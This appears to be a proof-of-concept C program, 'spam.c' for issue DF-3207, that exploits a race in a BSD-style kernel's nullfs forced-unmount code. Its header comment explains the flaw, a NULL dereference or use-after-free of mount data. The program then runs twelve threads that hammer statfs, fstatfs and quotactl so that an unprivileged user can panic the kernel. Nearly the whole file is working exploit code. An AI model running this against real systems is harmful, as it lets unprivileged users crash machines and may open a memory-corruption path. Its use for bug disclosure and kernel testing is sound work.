DF-3207 / spam.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-3207 PoC - unprivileged spammer side. * * Hammers statfs(2)/fstatfs(2)/quotactl(2) on paths inside a nullfs * mount while root runs `mount_null` + `umount -f` in a loop. * * nullfs_unmount() (sys/vfs/nullfs/null_vfsops.c:261-267) does: * xmp = mp->mnt_data; mp->mnt_data = 0; ... kfree(xmp) * unconditionally once dounmount(MNT_FORCE) decides to proceed with * mnt_refs > 1 (sys/kern/vfs_syscalls.c:974-1006). kern_statfs(), * kern_fstatfs() and sys_quotactl() call VFS_STATFS/VFS_QUOTACTL on a * mount they located WITHOUT vfs_busy()/MNTK_UNMOUNT interlock, so an * in-flight call dereferences MOUNTTONULLMOUNT(mp)->nullm_vfs * (null_vfsops.c:294 / :308) after mnt_data was zeroed (NULL-deref * read at kernel VA 0 -> page fault panic) or after xmp was freed * (use-after-free read of the M_NULLFSMNT chunk). * * Run as an unprivileged user: ./spam /mnt/a/f1 */ #include <sys/types.h> #include <sys/mount.h> #include <sys/statvfs.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> static const char *path; static volatile unsigned long statfs_n, fstatfs_n, quota_n; static volatile int stop; #ifndef Q_QUOTASTATE #define Q_QUOTASTATE 0x0400 #endif #ifndef Q_GETQUOTA #define Q_GETQUOTA 0x0300 #endif static void * t_statfs(void *arg __unused) { struct statfs sb; while (!stop) { if (statfs(path, &sb) == 0) statfs_n++; } return (NULL); } static void * t_fstatfs(void *arg __unused) { struct statfs sb; int fd; while (!stop) { fd = open(path, O_RDONLY); if (fd >= 0) { if (fstatfs(fd, &sb) == 0) fstatfs_n++; close(fd); } } return (NULL); } static void * t_quota(void *arg __unused) { while (!stop) { /* unpriv: fails at the lower layer, but the nullfs layer * deref of mnt_data happens first (nullfs_quotactl). */ if (quotactl(path, Q_GETQUOTA, getuid(), NULL) == 0) quota_n++; } return (NULL); } int main(int argc, char **argv) { pthread_t th[12]; int i, n = 12; if (argc > 1) path = argv[1]; else path = "/mnt/a/f1"; for (i = 0; i < n; i++) { void *(*fn)(void *) = ((i % 3) == 0) ? t_statfs : ((i % 3) == 1) ? t_fstatfs : t_quota; pthread_create(&th[i], NULL, fn, NULL); } setvbuf(stdout, NULL, _IOLBF, 0); while (1) { sleep(10); fprintf(stderr, "statfs=%lu fstatfs=%lu quotactl=%lu\n", statfs_n, fstatfs_n, quota_n); } return (0); } |